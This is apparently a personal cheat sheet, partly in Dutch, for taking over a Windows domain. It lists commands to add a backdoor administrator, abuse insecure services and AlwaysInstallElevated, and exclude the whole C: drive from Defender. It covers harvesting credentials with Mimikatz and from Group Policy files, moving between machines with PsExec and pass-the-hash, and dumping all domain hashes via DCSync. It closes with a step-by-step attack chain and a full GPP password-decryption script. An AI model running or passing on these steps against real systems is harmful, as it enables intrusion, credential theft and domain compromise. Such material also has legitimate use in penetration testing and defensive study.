# Priviliges escalation

## Commands to make user

If you can run commands:

“Net user sjors Geheim123! /add”

“Net localgroup administrators sjors /add”

Net user sjors /active:yes

## Making an .exe or .msi

1. Make batch file with things you want to run
2. .bat to .exe 64 bit. Batch to exe converter <https://bat2exe.net/>
3. If you want to convert it to MSI then you can use [www.exetomsi.com/freeware](http://www.exetomsi.com/freeware)

## Find credentials

1. Sysvol is te decrypten [\\domain\SYSVOL\domain\policies\-\machine\groups.xml](file:///\\domain\SYSVOL\domain\policies\-\machine\groups.xml) <http://obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html>

Hiervoor google: gpp password retrieval handy stuff

1. Registry in autologon plaintext. Use Nirsoft for searching Registry
   * HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\Current Version\Winlogon
2. Unattend.xml – panther – base64 %windows%\panther\unattend.xml
3. Credential manager – export.crd – nirsoft makes credentail manager viewer

## Schedulded tasks:

Schedulded tasks have 2 ways to place your own .bat or .exe

1. Enter the filesystem via linux by using ubuntu desktop 20.04.2.0. Via here you can view files and edit files.
2. A folder where you can edit it.

**Explorer location**

C:\Windows\System32\Tasks

**Registry location**

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\Taskcache\Tasks

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\Taskcache\Tree

## Insecure services

If a service has been added to windows without a description then it must be home made.

### UNQ

Unquoted service path. Programma runnen die de naam heeft voor de spatie. C:\Program Files\windowstest\test.exe dan zal C:\program.exe worden uitgevoerd en daarna de paden waar het in zou kunnen staan. Dus C:\Program Files\test.exe

### File Permission service

It is possible that a folder with an .exe has no deny permissions against everyone. Then you can place your own .exe.

### DMT

Er is een plek waar je objecten van services kan vinden.

SysinternalSuite tools. “Accesschk64.exe -uwvqc lowpriv \*” geeft services die writeable zijn voor dit account. Hiermee kun je service paths aanpassen

“Sc qc <service>” voorbeeld dmtsvc. Dit geeft info over de service

Met “sc config” dmtsvc binpath= net user …… Hier kun je een command zetten of een exe runnen die iets moois voor je doet.

### Insecure Service Path

Folder waar je services kan zien in reg:

HKLM\SYSTEM\CurrentControlSet\**Services in registry**

Als de service path geedit kan worden dan kun je commands er in gooien.

## Always install elevated

Regedit: HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer of HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer of

Als dit 1 is kun je altijd MSI installers gebruiken, waarmee je access kan krijgen

# Defense evasion

## Disable Windows defender

Ignore everything out of c folder by adding an exlusion

Defender can be shut off in the settings

Via admin cmd:

1. Powershell.exe
2. Add-MpPreference -exclusionpath “C:\”
3. Get-MpPreference

# Credential access

Next step is searching for the local admin password

Mimikatz reads the memory for passwords

<https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20200918-fix>

Enter a admin CMD prompt and run mimikatz trunk from there

commands:

* Privilege::debug
* Sekurlsa::logonpasswords

If their is no plaintext password for the localadmin account then wdigest is active.

You need to elevate to system

* Token::elevate

If this is disabled you can open a system prompt with this

Go to sysinternalsuits in admin cmd and enter this command

* PsExec.exe -i -s cmd.exe

Open mimikatz and open vault which contains passwords:

* Vault::cred /patch

# Lateral movement

Use an ip subnet scanner. Nmap

Local admin CMD prompt:

* Net use x: \\<ip of other system>\c$
* X:

Nu ben je in de c drive van een andere machine

Copy mimikatz via xcopy via the net use drive you just made. Disable defender before this

* copy c:\<path>\mimikatz\_trunk\x64\mimikatz.exe x:\

Reverse shell door psexec:

* Open een administrator command prompt waarmee je ook die remote C drive kon connecten
* Psexec.exe /accepteula [\\192.168.56.110](file:///\\192.168.56.110) cmd

Spawn window with domain admin creds:

* Privilege::debug
* Sekurlsa::pth /user:<admin user> /domain:<domein> /NTLM:<ntlm> /run cmd

Get everything LSAdump from domain which gives all the hashes

* Run mimikatz
* Privilege::debug
* Lsadump::dcsync /domain:<domein + extension .local> /all /csv

# Steps:

The following steps should be followed for getting domain access

1. Make your own admin
2. Disable defender so you can use mimikatz
3. Run mimikatz
4. Builtin password **vault**
5. Nmap to find pc
6. Connect to next pc
7. Disable defender so you can use mimikatz
8. Run mimikatz to find NTLM hash sekurlsa and copy it
9. Disconnect from pc
10. Open mimikatz and spawn window with domain creds
11. Lsa::dump domain creds

# Bijlage 1:

<#

function Get-GPPPassword {

<#

.Synopsis

Get-GPPPassword retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.

Author: Chris Campbell (@obscuresec)

License: GNU GPL v2

.Description

Get-GPPPassword imports the encoded and encrypted password string from groups.xml and then decodes and decrypts the plaintext password.

.Parameter Path

The path to the targeted groups.xml file.

.Example

Get-GPPPassword -path c:\demo\groups.xml

.Link

http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences

http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html

#>

Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Path = "$PWD\groups.xml" )

#Function to pull encrypted password string from groups.xml

function Parse-cPassword {

try {

[xml] $Xml = Get-Content ($Path)

[String] $Cpassword = $Xml.Groups.User.Properties.cpassword

} catch { Write-Error "No Password Policy Found in File!" }

return $Cpassword

}

#Function to look to see if the administrator account is given a newname

function Parse-NewName {

[xml] $Xml = Get-Content ($Path)

[String] $NewName = $Xml.Groups.User.Properties.newName

return $NewName

}

#Function to parse out the Username whose password is being specified

function Parse-UserName {

try {

[xml] $Xml = Get-Content ($Path)

[string] $UserName = $Xml.Groups.User.Properties.userName

} catch { Write-Error "No Username Specified in File!" }

return $UserName

}

#Function that decodes and decrypts password

function Decrypt-Password {

try {

#Append appropriate padding based on string length

$Pad = "=" \* (4 - ($Cpassword.length % 4))

$Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad)

#Create a new AES .NET Crypto Object

$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider

#Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2

[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,

0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

#Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value

$AesIV = New-Object Byte[]($AesObject.IV.Length)

$AesObject.IV = $AesIV

$AesObject.Key = $AesKey

$DecryptorObject = $AesObject.CreateDecryptor()

[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)

} catch { Write-Error "Decryption Failed!" }

}

$Cpassword = Parse-cPassword

$Password = Decrypt-Password

$NewName = Parse-NewName

$UserName = Parse-UserName

$Results = New-Object System.Object

Add-Member -InputObject $Results -type NoteProperty -name UserName -value $UserName

Add-Member -InputObject $Results -type NoteProperty -name NewName -value $NewName

Add-Member -InputObject $Results -type NoteProperty -name Password -value $Password

return $Results